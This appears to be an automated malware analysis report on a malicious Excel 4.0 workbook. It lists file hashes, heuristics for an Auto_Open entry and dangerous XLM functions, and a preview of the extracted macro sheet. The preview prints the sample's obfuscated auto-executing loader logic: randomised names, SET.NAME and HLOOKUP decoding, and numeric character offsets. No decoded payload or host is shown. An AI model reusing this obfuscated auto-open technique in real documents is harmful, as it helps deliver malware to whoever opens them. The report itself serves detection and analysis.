Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 96889d136302a0cc…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:39:42 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: 093cdf9bdd9a28e454781c3ad62444fc SHA-1: 3b98271f8fdc437c812ad364610c9c52353a4395 SHA-256: 96889d136302a0cc37cd08a0b931a3eeb047c605024bf545d797a789e25ec84c
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6665 bytes
SHA-256: 68f539d3a794347afc00a6891401e8b4aff6d4e9c311eaa278da0de5a0e22388
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  TGdiK
' 0018     24 LABEL : Cell Value, String Constant - AGWfTYQmq len=0 
' 0018     25 LABEL : Cell Value, String Constant - aobbKROCvn len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B158 
' 0018     27 LABEL : Cell Value, String Constant - cLPFdyrinxKV len=0 
' 0018     25 LABEL : Cell Value, String Constant - dAVWUnPRjv len=0 
' 0018     23 LABEL : Cell Value, String Constant - efmUjTFd len=0 
' 0018     22 LABEL : Cell Value, String Constant - esahdum len=0 
' 0018     26 LABEL : Cell Value, String Constant - eyZiBJbtyym len=0 
' 0018     21 LABEL : Cell Value, String Constant - FXDBME len=0 
' 0018     24 LABEL : Cell Value, String Constant - HHMLzcKPs len=0 
' 0018     23 LABEL : Cell Value, String Constant - IphnTJlA len=0 
' 0018     26 LABEL : Cell Value, String Constant - lKFzJheKqBR len=0 
' 0018     26 LABEL : Cell Value, String Constant - lsDAORSincs len=0 
' 0018     22 LABEL : Cell Value, String Constant - mrFciRL len=0 
' 0018     26 LABEL : Cell Value, String Constant - pWuNnCtEdRr len=0 
' 0018     24 LABEL : Cell Value, String Constant - sMQKLyJiu len=0 
' 0018     26 LABEL : Cell Value, String Constant - tCJZiliejjT len=0 
' 0018     23 LABEL : Cell Value, String Constant - UIOxHIXX len=0 
' 0018     22 LABEL : Cell Value, String Constant - uYPihHy len=0 
' 0018     22 LABEL : Cell Value, String Constant - vMtdapv len=0 
' 0018     26 LABEL : Cell Value, String Constant - xTDFCCSccsh len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  TGdiK,P62,"",-185.00000000000000000000
'  TGdiK,P63,"",-490.00000000000000000000
'  TGdiK,P64,"",-834.00000000000000000000
'  TGdiK,P65,"",-14.00000000000000000000
'  TGdiK,P66,"",30.00000000000000000000
'  TGdiK,P67,"",113.00000000000000000000
'  TGdiK,B71,"SET.NAME("efmUjTFd",0+VALUE("0"))",""
'  TGdiK,B76,"SET.NAME("dAVWUnPRjv",efmUjTFd)",""
'  TGdiK,B78,"SET.NAME("AGWfTYQmq",efmUjTFd)",""
'  TGdiK,B80,"SET.NAME("lKFzJheKqBR",COUNTA(vMtdapv))",""
'  TGdiK,B83,"SET.NAME("uYPihHy",COUNTA(cLPFdyrinxKV))",""
'  TGdiK,B86,[],""
'  TGdiK,B88,"SET.NAME("esahdum","")",""
'  TGdiK,B93,"dAVWUnPRjv",""
'  TGdiK,B96,"SET.NAME("lsDAORSincs",HLOOKUP("*",vMtdapv,dAVWUnPRjv,FALSE))",""
'  TGdiK,B99,"aobbKROCvn",""
'  TGdiK,B104,"SET.NAME("xTDFCCSccsh",efmUjTFd)",""
'  TGdiK,B109,[],""
'  TGdiK,B114,"xTDFCCSccsh",""
'  TGdiK,B119,"mrFciRL",""
'  TGdiK,B123,"UIOxHIXX",""
'  TGdiK,B126,"eyZiBJbtyym",""
'  TGdiK,B130,"SET.NAME("pWuNnCtEdRr",VALUE(HLOOKUP("*",cLPFdyrinxKV,eyZiBJbtyym,FALSE)))",""
'  TGdiK,B134,"IphnTJlA",""
'  TGdiK,B137,"esahdum",""
'  TGdiK,B141,"AGWfTYQmq",""
'  TGdiK,B144,NEXT(),""
'  TGdiK,B146,"tCJZiliejjT",""
'  TGdiK,B149,[],""
'  TGdiK,B152,"HHMLzcKPs",""
'  TGdiK,B154,NEXT(),""
'  TGdiK,B156,RETURN(),""
'  TGdiK,B177,"SET.NAME("sMQKLyJiu",B71)",""
'  TGdiK,B182,"vMtdapv",""
'  TGdiK,B186,"SET.NAME("cLPFdyrinxKV",R83C13)",""
'  TGdiK,B191,"SET.NAME("HHMLzcKPs",199)",""
'  TGdiK,B196,"SET.NAME("FXDBME",2)",""
'  TGdiK,B198,sMQKLyJiu(),""
'  TGdiK,B199,HALT(),""

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